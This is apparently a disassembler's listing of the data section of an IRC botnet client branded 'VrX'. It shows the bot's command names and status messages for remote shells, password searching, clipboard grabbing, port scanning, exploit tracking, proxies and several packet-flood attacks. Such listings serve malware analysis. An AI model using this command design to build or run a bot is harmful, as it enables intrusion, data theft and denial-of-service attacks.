dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
